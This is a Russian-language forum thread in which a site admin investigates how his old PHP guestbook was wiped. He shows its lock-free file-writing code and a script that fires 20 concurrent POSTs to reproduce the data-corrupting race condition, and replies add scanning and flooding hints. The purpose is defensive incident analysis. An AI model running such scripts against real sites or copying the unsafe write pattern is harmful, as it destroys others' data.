Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
реализация атаки на php скрипт без flock
 
сегодня положили мне гостевую книгу , писаную лет 5 назад, когда тоько брался за ПХП, но так и живет она у меня...
думал для внутреннего пользования и никому я не нужен.

пробую смоделировать атаку

1. сутра на мыло пришло ~20 сообщение об оставленых в гостевухе записях
2. кроме этих записей("test") в гостевухе конечно ничего уже не было
3. через 15 минут после атаки пришло мыло от человека с бэкапом файла данных гостевой книги  
и текстом в письме:
Цитата

guest book recovered
flock()

изходя из логов сервера делаю, предположение что напрасно я давно не читал статей по "безопасному программированию" (как ушел из програмеров в админы )

вот кусок собственно гостевой
//Читаем файл данных
$fname="dat/gb";
$fp=@fopen($fname,"r");
$fdata = fread($fp, filesize($fname));
fclose($fp);

//Дописываем в начало новую запись
$fp=@fopen($fname,"w");
$fdata = date("d~#m~#Y H:i~#").htmlspecialchars($_POST["m_name"])."~#".htmlspecialchars($_POST["m_mail"])."~#".htmlspecialchars(stripslashes($_POST["message"]))."~#~#".$fdata;
fwrite($fp,$fdata);
fclose($fp);

иходя из того, что 18 писем сообщающих об оставленных сообщениях пришли в течении одной минуты и ключевого слова flock()

пробую смоделировать..  

вероятно что частое обращение к скрипту и файлу - в один прекрасный момент открывает незакрытый - и теряются данные...

прежде чем вставить проверку на flock() пробую смоделировать...

и конечно ничего не получается :(
что подскажете? может я совсем не в ту сторону думаю?

<?
    $mess="POST /gb.php HTTP/1.1\r\n";
     $mess.="Host: myhost.ru\r\n";
     $mess.="Content-type: application/x-www-form-urlencoded\r\n";
     $mess.="Content-Length: 42\r\n";
     $mess.="\r\n";
      $mess.="m_name=smax&act= write& m_mail=&message=test";

for($j=1;$j<20;$j++)
{
 $fp="fp".$j;
$$fp=fsockopen("myhost.ru",80,$errno,$errstr,30);
}

for($j=1;$j<20;$j++)
{
$fp="fp".$j;
fputs ($$fp, $mess);
   while(!feof($$fp))
         fgets($$fp,1 28);

fclose ($$fp);
}

?>
Done.

PS
да - ламер...
но я только учусь
 
было бы неплохо тебе обяснить, что ты хотел сказать некоторыми строками, например, для чего это:
for($j=1;$j<20;$j++)
{
$fp="fp".$j;
$$fp=fsockopen("myhost.ru",80,$errno,$errstr,30);
}
попробуй так:
$fp=fopen($filename);
for ($i=0;$i<20;$i++)
{
fwrite($handle, $somecontent);
}
 
Цитата
TeckLord пишет:
было бы неплохо тебе обяснить, что ты хотел сказать некоторыми строками, например, для чего это:
for($j=1;$j<20;$j++)
{
$fp="fp".$j;
$$fp=fsockopen("myhost.ru",80,$errno,$errstr,30);
}

так как атака из вне была (по HTTP)

сначала и я пробовал просто F5 быстро жать в браузере, но потом понял что тупиковый путь

и вот это скриптик оформил чтобы он автоматом

здесь открываю одновременно 20 сокетов и по ним форму пощу

или может я просто думаю, что ОДНОВРЕМЕННО... :(

но бахнуть файл данных гостевухи пока не получается
 
хм...
попробовал сконцентрировать и уменьшить по времени сам момент POST действия

вот так разнес:
Код
for($j=1;$j<20;$j++)
{
  $fp="fp".$j;
 $$fp=fsockopen("myhost.ru",80,$errno,$errstr,30);
} 

for($j=1;$j<20;$j++)
{
  $fp="fp".$j;
  fputs ($$fp, $mess);
} 

for($j=1;$j<20;$j++)
{
  $fp="fp".$j;
&nbsp;&nbsp;&nbsp;while(!feof($$fp))
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fgets($$fp,1 28);
} 

for($j=1;$j<20;$j++)
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fp="fp".$j;
  fclose ($$fp);
}


1й раз забились в одном месте данные бинарным мусором
2й раз - ВЕСЬ файл данных грохнут был и остались только 3 последних сообщения "test"
3й раз - побито 90% данных...

можно сказать что эксперимент закончен теперь?
 
хотя вопрос все-таки остался один...

он мне прислал файл данных с РАЗДЕЛИТЕЛЯМИ, вопрос в  том как он узнал ГДЕ лежит файл :)
 
Цитата
$SMax$ пишет:
хотя вопрос все-таки остался один...
он мне прислал файл данных с РАЗДЕЛИТЕЛЯМИ, вопрос в  том как он узнал ГДЕ лежит файл :)
1. Перебором при помощи сканера. (Судя по надписи test и по скорости, с которой тебя нашли - оно так и было).
2. Покажи текст страницы, который видит юзверь - скорее всего, там лежит подсказка, где искать. Что-то типа POST... file="db".
3. Проверка на входные символы. Поищи в логах апача или что там у тебя символ | или %7С или ; или соотв. юникод.
BTW А логи Юниха посмтореть можешь? - вдруг там следы скана портов остались и прочее.
 
Цитата
Elka пишет:

1. Перебором при помощи сканера. (Судя по надписи test и по скорости, с которой тебя нашли - оно так и было).

впринципе возможно...
скажи путь: dat/gb - может быть широкорасспространенным?

Цитата
Elka пишет:

2. Покажи текст страницы, который видит юзверь - скорее всего, там лежит подсказка, где искать. Что-то типа POST... file="db".

нет
тут все нормально

Цитата
Elka пишет:

3. Проверка на входные символы. Поищи в логах апача или что там у тебя символ | или %7С или ; или соотв. юникод.

IIS+URLScan+все багфиксы (ну покрайней мере - все известные MS)
 
дополненьице...

файл данных присланный заканчивается:
Код
</PRE></BODY></HTML>


такого конца в моём не было...

но при этом - больше никакого форматирования лишнего нет и самое главное, что РАЗДЕЛИТЕЛИ-то мои...
 
-> впринципе возможно...
скажи путь: dat/gb - может быть широкорасспространенным?
Да запросто...
Стандартный (любой) сканер директорий ищет dat. IIS ему скажет 403, 401 или 200 или еще что-нибудь. Если 200 - то ОК - дальше и искать не надо. :-)

Как говорится если посадить сто мильонов обезьян за сто мильонов компьютеров, то рано или поздно они что-то там да напишут... (Шутка)

А вот насчет flock - так атаку распределенной можно сделать. Несколько Апачей ставим на порты 80, 81 и т.д., В каждом по АктивПерлу, запускаем скрипт, который в твою гостевуху что-то пишет - и ждем :-)

PS смотри логи
 
Elka!!!
Это PHP а не PERL!!!
Какой может быть | или %7c?!
А dat/gb какраз таковым и является т.е распостранённым.
Я не предпологаю, я знаю это!
 
а чего ждем-то?

файл-то лочен же...

ну DDoS IIS положит.. ну роутер.. ну tcp/ip стек всей системы...

но файл данных-то как теперь? :-\

поясни что имел ввиду...

да и конечно про апачи у тебя на куче портов тоже поясни плз :)
 
Цитата
MishaSt пишет:
Elka!!!
Это PHP а не PERL!!!
Какой может быть | или %7c?!
А dat/gb какраз таковым и является т.е распостранённым.
Я не предпологаю, я знаю это!
Да... просмотрел про Perl - Ошибочка вышла :-)
 
Файл залочится не навсегда. Есть допустимое время исполнения скрипта. По истечению этоговремени, исполнение прекратится, файл закроется, и разлочится. А за DDOSить всегда можно, только для этого ресурсы нужны.
 
Цитата
$SMax$ пишет:
а чего ждем-то?
файл-то лочен же...
ну DDoS IIS положит.. ну роутер.. ну tcp/ip стек всей системы...
но файл данных-то как теперь? :-\
поясни что имел ввиду...
да и конечно про апачи у тебя на куче портов тоже поясни плз :)
Это просто предположение...
Дай урл гостевухи на мыло spl1683   mail.ru - посмотрю...
 
Цитата
MishaSt пишет:
Файл залочится не навсегда. Есть допустимое время исполнения скрипта. По истечению этоговремени, исполнение прекратится, файл закроется, и разлочится. А за DDOSить всегда можно, только для этого ресурсы нужны.

1. так ведь закроется
2. а как DDoS время исполнения скрипта самого увеличит?
3. про DDoS отдельный разговор.. чего уж тут...
а
Цитата
А за DDOSить всегда можно
это аксиома
 
Цитата
MishaSt пишет:
Файл залочится не навсегда. Есть допустимое время исполнения скрипта. По истечению этоговремени, исполнение прекратится, файл закроется, и разлочится. А за DDOSить всегда можно, только для этого ресурсы нужны.
Так не обязательно DOS - мы нашли файл dat/gd (залоченный) Скрипт на запись в гостевуху и параллельно на чтение файла. Вот и вопрос - с разных IP-шников это происходит или с одного?
PS ЛОГИ.
 
Цитата
А за DDOSить всегда можно
это аксиома[/QUOTE] ЛОГИ покажи
 
Цитата
Elka пишет:
PS ЛОГИ.
мне стыдно...   я на этом хосте их не включил...

и на старуху, как говорится.. :((
Страницы: 1
Читают тему